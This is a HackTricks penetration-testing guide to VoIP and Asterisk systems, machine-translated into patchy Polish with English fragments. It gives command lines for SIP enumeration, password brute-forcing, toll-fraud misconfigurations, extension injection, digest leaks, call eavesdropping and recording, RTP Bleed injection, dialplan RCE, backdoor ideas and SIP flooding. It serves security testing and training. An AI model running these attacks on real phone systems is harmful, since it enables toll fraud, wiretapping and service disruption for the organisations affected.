Pentesting VoIP

Reading time: 25 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

VoIP Podstawowe Informacje

Aby rozpocząć naukę o tym, jak działa VoIP, sprawdź:

{{#ref}} basic-voip-protocols/ {{#endref}}

Podstawowe Wiadomości

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

Kody Odpowiedzi

1xx—Odpowiedzi Proszące

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—Odpowiedzi pomyślne

200 OK
202 Accepted
204 No Notification

3xx—Odpowiedzi przekierowujące

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—Odpowiedzi o błędach klienta

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—Odpowiedzi o błędach serwera

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—Global Failure Responses

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP Enumeration

Numery telefonów

Jednym z pierwszych kroków, które może podjąć Red Team, jest wyszukiwanie dostępnych numerów telefonów, aby skontaktować się z firmą, korzystając z narzędzi OSINT, wyszukiwania w Google lub skanowania stron internetowych.

Gdy masz numery telefonów, możesz skorzystać z usług online, aby zidentyfikować operatora:

Wiedząc, czy operator oferuje usługi VoIP, możesz zidentyfikować, czy firma korzysta z VoIP... Co więcej, możliwe, że firma nie zatrudniła usług VoIP, ale używa kart PSTN, aby połączyć swoją własną centralę VoIP z tradycyjną siecią telefoniczną.

Rzeczy takie jak automatyczne odpowiedzi z muzyką zazwyczaj wskazują, że używane jest VoIP.

Google Dorks

bash
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT information

Każda inna enumeracja OSINT, która pomoże zidentyfikować używane oprogramowanie VoIP, będzie pomocna dla Red Team.

Network Enumeration

  • nmap jest w stanie skanować usługi UDP, ale z powodu liczby skanowanych usług UDP, jest bardzo wolny i może nie być zbyt dokładny w przypadku tego rodzaju usług.
bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap z SIPVicious (sudo apt install sipvicious): Zlokalizuje usługi SIP w wskazanej sieci.
  • svmap jest łatwy do zablokowania, ponieważ używa User-Agent friendly-scanner, ale możesz zmodyfikować kod z /usr/share/sipvicious/sipvicious i go zmienić.
bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • SIPPTS scan from sippts: SIPPTS scan to bardzo szybki skaner dla usług SIP przez UDP, TCP lub TLS. Używa wielowątkowości i może skanować duże zakresy sieci. Umożliwia łatwe wskazanie zakresu portów, skanowanie zarówno TCP, jak i UDP, użycie innej metody (domyślnie użyje OPTIONS) oraz określenie innego User-Agent (i więcej).
bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Dodatkowe enumeracje sieciowe

PBX może również udostępniać inne usługi sieciowe, takie jak:

  • 69/UDP (TFTP): Aktualizacje oprogramowania
  • 80 (HTTP) / 443 (HTTPS): Zarządzanie urządzeniem z poziomu sieci
  • 389 (LDAP): Alternatywa do przechowywania informacji o użytkownikach
  • 3306 (MySQL): Baza danych MySQL
  • 5038 (Manager): Umożliwia korzystanie z Asteriska z innych platform
  • 5222 (XMPP): Wiadomości za pomocą Jabbera
  • 5432 (PostgreSQL): Baza danych PostgreSQL
  • I inne...

Enumeracja metod

Możliwe jest znalezienie które metody są dostępne do użycia w PBX za pomocą SIPPTS enumerate z sippts

bash
sippts enumerate -i 10.10.0.10

Analizowanie odpowiedzi serwera

Bardzo ważne jest, aby analizować nagłówki, które serwer wysyła z powrotem do nas, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Z SIPPTS send z sippts możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, i analizować odpowiedź.

bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

Możliwe jest również uzyskanie danych, jeśli serwer używa websockets. Z SIPPTS wssend z sippts możemy wysyłać spersonalizowane wiadomości WS.

bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws

Enumeracja rozszerzeń

Rozszerzenia w systemie PBX (Prywatna Centrala Telefoniczna) odnoszą się do unikalnych identyfikatorów wewnętrznych przypisanych do poszczególnych linii telefonicznych, urządzeń lub użytkowników w organizacji lub firmie. Rozszerzenia umożliwiają efektywne kierowanie połączeń wewnątrz organizacji, bez potrzeby posiadania indywidualnych zewnętrznych numerów telefonów dla każdego użytkownika lub urządzenia.

  • svwar z SIPVicious (sudo apt install sipvicious): svwar to darmowy skaner linii rozszerzeń SIP PBX. W koncepcji działa podobnie do tradycyjnych wardialerów, zgadując zakres rozszerzeń lub podaną listę rozszerzeń.
bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten from sippts: SIPPTS exten identyfikuje rozszerzenia na serwerze SIP. Sipexten może sprawdzać duże zakresy sieci i portów.
bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: Możesz również enumerować rozszerzenia/nazwy użytkowników za pomocą metasploit:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX to enumerator brute-force nazw użytkowników protokołu Inter Asterisk Exchange. enumIAX może działać w dwóch odrębnych trybach: sekwencyjne zgadywanie nazw użytkowników lub atak słownikowy.
bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

Ataki VoIP

Atak Brute-Force na hasło - online

Po odkryciu PBX i kilku rozszerzeń/nazw użytkowników, Zespół Czerwony może spróbować uwierzytelnić się za pomocą metody REGISTER do rozszerzenia, używając słownika powszechnych haseł, aby przeprowadzić atak brute force na uwierzytelnienie.

caution

Zauważ, że nazwa użytkownika może być taka sama jak rozszerzenie, ale ta praktyka może się różnić w zależności od systemu PBX, jego konfiguracji i preferencji organizacji...

Jeśli nazwa użytkownika nie jest taka sama jak rozszerzenie, będziesz musiał ustalić nazwę użytkownika, aby przeprowadzić atak brute-force.

  • svcrack z SIPVicious (sudo apt install sipvicious): SVCrack pozwala na złamanie hasła dla konkretnej nazwy użytkownika/rozszerzenia na PBX.
bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack from sippts: SIPPTS rcrack to zdalny program do łamania haseł dla usług SIP. Rcrack może testować hasła dla kilku użytkowników w różnych adresach IP i zakresach portów.
bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIP Sniffing

Jeśli znajdziesz sprzęt VoIP w otwartej sieci WiFi, możesz przechwycić wszystkie informacje. Co więcej, jeśli jesteś w bardziej zamkniętej sieci (połączonej przez Ethernet lub chronionej WiFi), możesz przeprowadzić ataki MitM, takie jak ARPspoofing między PBX a bramą, aby przechwycić informacje.

Wśród informacji sieciowych możesz znaleźć dane logowania do zarządzania sprzętem, numery wewnętrzne użytkowników, nazwy użytkowników, adresy IP, a nawet zhardcodowane hasła i pakiety RTP, które możesz odtworzyć, aby usłyszeć rozmowę, i więcej.

Aby uzyskać te informacje, możesz użyć narzędzi takich jak Wireshark, tcpdump... ale specjalnie stworzone narzędzie do przechwytywania rozmów VoIP to ucsniff.

caution

Zauważ, że jeśli TLS jest używany w komunikacji SIP, nie będziesz w stanie zobaczyć komunikacji SIP w czystym tekście.
To samo stanie się, jeśli używane są SRTP i ZRTP, pakiety RTP nie będą w czystym tekście.

Poświadczenia SIP (Brute-Force hasła - offline)

Sprawdź ten przykład, aby lepiej zrozumieć komunikację SIP REGISTER, aby dowiedzieć się, jak są wysyłane poświadczenia.

  • sipdump i sipcrack, część sipcrack (apt-get install sipcrack): Te narzędzia mogą wyodrębnić z pcap uwierzytelnienia digest w protokole SIP i przeprowadzić brute-force.
bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump from sippts: SIPPTS dump może wyodrębnić uwierzytelnienia digest z pliku pcap.
bash
sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack from sippts: SIPPTS dcrack to narzędzie do łamania uwierzytelnień digestowych uzyskanych za pomocą zrzutu SIPPTS.
bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark z sippts: SIPPTS tshark wyodrębnia dane protokołu SIP z pliku PCAP.
bash
sippts tshark -f capture.pcap [-filter auth]

Kody DTMF

Nie tylko dane uwierzytelniające SIP mogą być znalezione w ruchu sieciowym, możliwe jest również znalezienie kodów DTMF, które są używane na przykład do uzyskania dostępu do poczty głosowej.
Można wysyłać te kody w wiadomościach INFO SIP, w audio lub wewnątrz pakietów RTP. Jeśli kody znajdują się w pakietach RTP, możesz wyciąć tę część rozmowy i użyć narzędzia multimo, aby je wyodrębnić:

bash
multimon -a DTMF -t wac pin.wav

Free Calls / Asterisks Connections Misconfigurations

W Asterisku możliwe jest zezwolenie na połączenie z konkretnego adresu IP lub z dowolnego adresu IP:

host=10.10.10.10
host=dynamic

Jeśli adres IP jest określony, host nie będzie musiał wysyłać żądań REGISTER co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał REJESTROWAĆ się co 30 minut). Jednakże, będzie musiał mieć otwarte porty umożliwiające połączenia z serwerem VoIP, aby odbierać połączenia.

Aby zdefiniować użytkowników, można ich zdefiniować jako:

  • type=user: Użytkownik może odbierać połączenia tylko jako użytkownik.
  • type=friend: Możliwe jest wykonywanie połączeń jako peer i odbieranie ich jako użytkownik (używane z rozszerzeniami)
  • type=peer: Możliwe jest wysyłanie i odbieranie połączeń jako peer (SIP-trunki)

Możliwe jest również nawiązanie zaufania za pomocą zmiennej insecure:

  • insecure=port: Umożliwia połączenia peer weryfikowane przez IP.
  • insecure=invite: Nie wymaga uwierzytelnienia dla wiadomości INVITE
  • insecure=port,invite: Oba

warning

Gdy używany jest type=friend, wartość zmiennej host nie będzie używana, więc jeśli administrator błędnie skonfiguruje SIP-trunk używając tej wartości, każdy będzie mógł się z nim połączyć.

Na przykład, ta konfiguracja byłaby podatna na atak:
host=10.10.10.10
insecure=port,invite
type=friend

Darmowe Połączenia / Błędy Konfiguracji Kontekstu Asteriska

W Asterisku kontekst to nazwany kontener lub sekcja w planie numeracyjnym, która grupuje powiązane rozszerzenia, akcje i zasady. Plan numeracyjny jest kluczowym komponentem systemu Asterisk, ponieważ definiuje jak są obsługiwane i kierowane połączenia przychodzące i wychodzące. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.

Każdy kontekst jest definiowany w pliku konfiguracyjnym, zazwyczaj w pliku extensions.conf. Konteksty są oznaczane nawiasami kwadratowymi, a nazwa kontekstu jest umieszczona w ich wnętrzu. Na przykład:

bash
csharpCopy code[my_context]

W kontekście definiujesz rozszerzenia (wzorce wybieranych numerów) i przypisujesz je do serii działań lub aplikacji. Te działania określają, jak połączenie jest przetwarzane. Na przykład:

scss
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Ten przykład demonstruje prosty kontekst o nazwie "my_context" z rozszerzeniem "100". Gdy ktoś wybierze 100, połączenie zostanie odebrane, zostanie odtworzona wiadomość powitalna, a następnie połączenie zostanie zakończone.

To jest inny kontekst, który pozwala na wybieranie dowolnego innego numeru:

scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Jeśli administrator definiuje domyślny kontekst jako:

[default]
include => my_context
include => external

warning

Każdy będzie mógł użyć serwera do dzwonienia na dowolny inny numer (a administrator serwera zapłaci za połączenie).

caution

Co więcej, domyślnie plik sip.conf zawiera allowguest=true, więc każdy atakujący bez autoryzacji będzie mógł dzwonić na dowolny inny numer.

  • SIPPTS invite z sippts: SIPPTS invite sprawdza, czy serwer PBX pozwala nam na wykonywanie połączeń bez autoryzacji. Jeśli serwer SIP ma nieprawidłową konfigurację, pozwoli nam na wykonywanie połączeń do numerów zewnętrznych. Może również pozwolić na przekazanie połączenia do drugiego numeru zewnętrznego.

Na przykład, jeśli twój serwer Asterisk ma złą konfigurację kontekstu, możesz zaakceptować żądanie INVITE bez autoryzacji. W takim przypadku atakujący może wykonywać połączenia, nie znając żadnego użytkownika/hasła.

bash
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

Darmowe połączenia / Źle skonfigurowane IVRS

IVRS oznacza System Interaktywnej Odpowiedzi Głosowej, technologię telekomunikacyjną, która pozwala użytkownikom na interakcję z systemem komputerowym za pomocą głosu lub tonów dotykowych. IVRS jest używane do budowy systemów automatycznego obsługi połączeń, które oferują szereg funkcji, takich jak dostarczanie informacji, kierowanie połączeń i zbieranie danych od użytkowników.

IVRS w systemach VoIP zazwyczaj składa się z:

  1. Podpowiedzi głosowe: Wstępnie nagrane wiadomości audio, które prowadzą użytkowników przez opcje menu IVR i instrukcje.
  2. DTMF (Dual-Tone Multi-Frequency) signaling: Tones dotykowe generowane przez naciśnięcie klawiszy na telefonie, które są używane do nawigacji po menu IVR i dostarczania danych.
  3. Kierowanie połączeń: Kierowanie połączeń do odpowiedniego celu, takiego jak konkretne działy, agenci lub numery wewnętrzne na podstawie danych od użytkownika.
  4. Zbieranie danych od użytkowników: Zbieranie informacji od dzwoniących, takich jak numery kont, identyfikatory spraw lub inne istotne dane.
  5. Integracja z systemami zewnętrznymi: Łączenie systemu IVR z bazami danych lub innymi systemami oprogramowania w celu uzyskania lub aktualizacji informacji, wykonywania działań lub wyzwalania zdarzeń.

W systemie VoIP Asterisk możesz stworzyć IVR używając planu wybierania (extensions.conf file) oraz różnych aplikacji, takich jak Background(), Playback(), Read() i innych. Te aplikacje pomagają odtwarzać podpowiedzi głosowe, zbierać dane od użytkowników i kontrolować przepływ połączeń.

Przykład podatnej konfiguracji

scss
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Poprzedni to przykład, w którym użytkownik jest proszony o naciśnięcie 1, aby zadzwonić do działu, 2, aby zadzwonić do innego, lub pełnego numeru wewnętrznego, jeśli go zna.
Wrażliwość polega na tym, że wskazana długość numeru wewnętrznego nie jest sprawdzana, więc użytkownik może wprowadzić 5-sekundowy limit czasu jako pełny numer i zostanie on wywołany.

Wstrzykiwanie numeru wewnętrznego

Używając numeru wewnętrznego takiego jak:

scss
exten => _X.,1,Dial(SIP/${EXTEN})

Gdzie ${EXTEN} to numer wewnętrzny, który będzie wywoływany, gdy wprowadzony zostanie ext 101, to co się wydarzy:

scss
exten => 101,1,Dial(SIP/101)

Jednakże, jeśli ${EXTEN} pozwala na wprowadzenie więcej niż cyfr (jak w starszych wersjach Asteriska), atakujący mógłby wprowadzić 101&SIP123123123, aby zadzwonić na numer telefonu 123123123. A oto byłby wynik:

scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Dlatego połączenie do numeru wewnętrznego 101 i 123123123 zostanie wysłane, a tylko pierwsze z nich nawiąże połączenie... ale jeśli atakujący użyje numeru wewnętrznego, który omija jakiekolwiek dopasowanie, które jest wykonywane, ale nie istnieje, mógłby wstrzyknąć połączenie tylko do pożądanego numeru.

Luka w SIPDigestLeak

Luka SIP Digest Leak to podatność, która dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i programowych telefonów IP oraz adapterów telefonicznych (VoIP na analogowe). Luka ta pozwala na wyciek odpowiedzi na uwierzytelnienie Digest, która jest obliczana na podstawie hasła. Możliwy jest atak offline na hasło, który może odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.

**Scenariusz podatności stąd**:

  1. Telefon IP (ofiara) nasłuchuje na dowolnym porcie (na przykład: 5060), akceptując połączenia telefoniczne
  2. Atakujący wysyła INVITE do telefonu IP
  3. Telefon ofiary zaczyna dzwonić, a ktoś odbiera i odkłada słuchawkę (ponieważ nikt nie odpowiada na telefon po drugiej stronie)
  4. Gdy telefon zostaje odłożony, telefon ofiary wysyła BYE do atakującego
  5. Atakujący wydaje odpowiedź 407, która prosi o uwierzytelnienie i wydaje wyzwanie uwierzytelniające
  6. Telefon ofiary podaje odpowiedź na wyzwanie uwierzytelniające w drugim BYE
  7. Atakujący może następnie przeprowadzić atak brute-force na odpowiedzi na wyzwanie na swoim lokalnym komputerze (lub w rozproszonej sieci itp.) i odgadnąć hasło
  • Wyciek SIPPTS z sippts: Wyciek SIPPTS wykorzystuje lukę SIP Digest Leak, która dotyczy dużej liczby telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą SIPPTS dcrack lub narzędzia SipCrack.
bash
sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call pozwala użytkownikowi sieci (który na przykład może być zainteresowany produktem) na podanie swojego numeru telefonu, aby otrzymać połączenie. Następnie zostanie wykonane połączenie do agenta, a gdy odbierze telefon, użytkownik zostanie połączony z agentem.

Typowy profil Asterisk dla tego to:

scss
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Poprzedni profil pozwala na połączenie z DOWOLNYM adresem IP (jeśli hasło jest znane).
  • Aby zorganizować połączenie, jak wcześniej określono, nie są potrzebne uprawnienia do odczytu i tylko originate w zapisie jest wymagane.

Dzięki tym uprawnieniom każdy adres IP znający hasło mógłby się połączyć i wydobyć zbyt wiele informacji, takich jak:

bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

Więcej informacji lub działań może być wymagane.

Podsłuchiwanie

W Asterisku możliwe jest użycie polecenia ChanSpy, wskazując numer(y) wewnętrzny(e) do monitorowania (lub wszystkie), aby słyszeć rozmowy, które się odbywają. To polecenie musi być przypisane do numeru wewnętrznego.

Na przykład, exten => 333,1,ChanSpy('all',qb) wskazuje, że jeśli zadzwonisz na numer wewnętrzny 333, będzie monitorować wszystkie numery wewnętrzne, rozpoczynając nasłuchiwanie za każdym razem, gdy rozpocznie się nowa rozmowa (b) w trybie cichym (q), ponieważ nie chcemy w to ingerować. Możesz przechodzić z jednej rozmowy do drugiej, naciskając *, lub wybierając numer wewnętrzny.

Możliwe jest również użycie ExtenSpy, aby monitorować tylko jeden numer wewnętrzny.

Zamiast słuchać rozmów, możliwe jest nagrywanie ich w plikach przy użyciu numeru wewnętrznego, takiego jak:

scss
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

Połączenia będą zapisywane w /tmp.

Możesz również sprawić, że Asterisk wykona skrypt, który ujawni połączenie po jego zakończeniu.

scss
exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed vulnerability

RTCPBleed to poważny problem bezpieczeństwa wpływający na serwery VoIP oparte na Asterisk (opublikowany w 2017 roku). Wrażliwość ta pozwala na **przechwytywanie i przekierowywanie ruchu RTP (Real Time Protocol), który przenosi rozmowy VoIP, przez każdego w Internecie. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).

Proxysy RTP próbują rozwiązać ograniczenia NAT wpływające na systemy RTC, proxyzując strumienie RTP między dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki tuplet IP i port jest uczony automatycznie. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie źródłowego IP i portu dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", nie wykorzystuje żadnego rodzaju uwierzytelniania. Dlatego atakujący mogą wysyłać ruch RTP do proxy RTP i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę podatność RTP Bleed, ponieważ pozwala ona atakującym na odbieranie strumieni mediów RTP przeznaczonych dla legalnych użytkowników.

Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, nawet jeśli nie są podatne na RTP Bleed, będą akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła. Dlatego atakujący mogą wysyłać pakiety RTP, co może pozwolić im na wstrzyknięcie swojego medium zamiast legalnego. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala on na wstrzyknięcie nielegalnych pakietów RTP do istniejących strumieni RTP. Ta podatność może występować zarówno w proxy RTP, jak i w punktach końcowych.

Asterisk i FreePBX tradycyjnie używały ustawienia NAT=yes, które umożliwia ruchowi RTP omijanie uwierzytelniania, co potencjalnie prowadzi do braku dźwięku lub dźwięku jednokierunkowego w połączeniach.

Aby uzyskać więcej informacji, sprawdź https://www.rtpbleed.com/

  • SIPPTS rtpbleed z sippts: SIPPTS rtpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTP.
bash
sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed from sippts: SIPPTS rtcpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTCP.
bash
sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood from sippts: SIPPTS rtpbleedflood wykorzystuje lukę RTP Bleed, wysyłając strumienie RTP.
bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject from sippts: SIPPTS rtpbleedinject wykorzystuje lukę RTP Bleed, wstrzykując plik audio (format WAV).
bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

W Asterisku w jakiś sposób udaje ci się dodać reguły rozszerzeń i je przeładować (na przykład poprzez skompromitowanie podatnego serwera menedżera webowego), możliwe jest uzyskanie RCE za pomocą polecenia System.

scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

There is command called Shell that could be used instead of System to execute system commands if necessary.

warning

If the server is zabrania używania niektórych znaków w poleceniu System (jak w Elastix), sprawdź, czy serwer WWW pozwala na tworzenie plików w systemie (jak w Elastix lub trixbox), i użyj tego do utworzenia skryptu backdoor, a następnie użyj System do wykonania tego skryptu.

Interesting local files and permissions

  • sip.conf -> Zawiera hasło użytkowników SIP.
  • If the serwer Asterisk działa jako root, możesz skompromitować root
  • mysql root user might nie mieć hasła.
  • this could be used to create a new mysql user as backdoor
  • FreePBX
  • amportal.conf -> Zawiera hasło administratora panelu webowego (FreePBX)
  • FreePBX.conf -> Zawiera hasło użytkownika FreePBXuser używanego do uzyskania dostępu do bazy danych
  • this could be used to create a new mysql user as backdoor
  • Elastix
  • Elastix.conf -> Zawiera kilka haseł w czystym tekście, takich jak hasło root mysql, hasło IMAPd, hasło administratora webowego
  • Kilka folderów będzie należało do skompromitowanego użytkownika asterisk (jeśli nie działa jako root). Użytkownik ten może odczytać poprzednie pliki i kontroluje konfigurację, więc może sprawić, że Asterisk załaduje inne skompromitowane binaria podczas wykonywania.

RTP Injection

It's possible to insert a .wav in converstions using tools such as rtpinsertsound (sudo apt install rtpinsertsound) and rtpmixsound (sudo apt install rtpmixsound).

Or you could use the scripts from http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ to scan conversations (rtpscan.pl), send a .wav to a conversation (rtpsend.pl) and insert noise in a conversation (rtpflood.pl).

DoS

There are several ways to try to achieve DoS in VoIP servers.

  • SIPPTS flood from sippts**: SIPPTS flood sends unlimited messages to the target.
  • sippts flood -i 10.10.0.10 -m invite -v
  • SIPPTS ping from sippts**: SIPPTS ping makes a SIP ping to see the server response time.
  • sippts ping -i 10.10.0.10
  • IAXFlooder: DoS IAX protocol used by Asterisk
  • inviteflood: A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
  • rtpflood: Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
  • SIPp: Allows to analyze and generate SIP traffic. so it can be used to DoS also.
  • SIPsak: SIP swiss army knife. Can also be used to perform SIP attacks.
  • Fuzzers: protos-sip, voiper.

OS Vulnerabilities

The easiest way to install a software such as Asterisk is to download an OS distribution that has it already installed, such as: FreePBX, Elastix, Trixbox... The problem with those is that once it's working sysadmins might nie aktualizować ich ponownie i vulnerabilities będą odkrywane z czasem.

References

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks